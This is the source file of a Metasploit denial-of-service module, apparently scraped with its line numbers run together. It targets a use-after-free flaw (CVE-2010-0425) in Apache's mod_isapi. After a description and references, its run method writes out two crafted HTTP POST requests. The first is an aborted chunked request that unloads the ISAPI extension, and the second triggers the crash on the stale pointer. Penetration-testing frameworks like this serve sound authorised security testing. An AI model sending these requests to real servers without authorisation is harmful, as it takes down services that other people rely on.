Path: blob/master/modules/auxiliary/dos/http/apache_mod_isapi.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Apache mod_isapi Dangling Pointer',14'Description' => %q{15This module triggers a use-after-free vulnerability in the Apache16Software Foundation mod_isapi extension for versions 2.2.14 and earlier.17In order to reach the vulnerable code, the target server must have an18ISAPI module installed and configured.1920By making a request that terminates abnormally (either an aborted TCP21connection or an unsatisfied chunked request), mod_isapi will unload the22ISAPI extension. Later, if another request comes for that ISAPI module,23previously obtained pointers will be used resulting in an access24violation or potentially arbitrary code execution.2526Although arbitrary code execution is theoretically possible, a27real-world method of invoking this consequence has not been proven. In28order to do so, one would need to find a situation where a particular29ISAPI module loads at an image base address that can be re-allocated by30a remote attacker.3132Limited success was encountered using two separate ISAPI modules. In33this scenario, a second ISAPI module was loaded into the same memory34area as the previously unloaded module.35},36'Author' => [37'Brett Gervasoni', # original discovery38'jduck'39],40'License' => MSF_LICENSE,41'References' => [42[ 'CVE', '2010-0425' ],43[ 'OSVDB', '62674'],44[ 'BID', '38494' ],45[ 'URL', 'https://bz.apache.org/bugzilla/show_bug.cgi?id=48509' ],46[ 'URL', 'https://web.archive.org/web/20100715032229/http://www.gossamer-threads.com/lists/apache/cvs/381537' ],47[ 'URL', 'http://www.senseofsecurity.com.au/advisories/SOS-10-002' ],48[ 'EDB', '11650' ]49],50'DisclosureDate' => '2010-03-05',51'Notes' => {52'Stability' => [CRASH_SERVICE_DOWN],53'SideEffects' => [],54'Reliability' => []55}56)57)5859register_options([60Opt::RPORT(80),61OptString.new('ISAPI', [ true, 'ISAPI URI to request', '/cgi-bin/SMTPSend.dll' ])62])63end6465def run66server_ip = datastore['RHOST']67if (datastore['RPORT'].to_i != 80)68server_ip += ':' + datastore['RPORT'].to_s69end70isapi_uri = datastore['ISAPI']7172# Create a stale pointer using the vulnerability73print_status('Causing the ISAPI dll to be loaded and unloaded...')74unload_trigger = 'POST ' + isapi_uri + " HTTP/1.0\r\n" \75"Pragma: no-cache\r\n" \76"Proxy-Connection: Keep-Alive\r\n" \77'Host: ' + server_ip + "\r\n" \78"Transfer-Encoding: chunked\r\n" \79"Content-Length: 40334\r\n\r\n" +80Rex::Text.rand_text_alphanumeric(128..255)81connect82sock.put(unload_trigger)83disconnect8485# Now make the stale pointer get used...86print_status('Triggering the crash ...')87data = Rex::Text.rand_text_alphanumeric(1337..1592)88crash_trigger = 'POST ' + isapi_uri + " HTTP/1.0\r\n" \89'Host: ' + server_ip + "\r\n" \90"Content-Length: #{data.length}\r\n\r\n" +91data9293connect94sock.put(crash_trigger)95disconnect96end97end9899100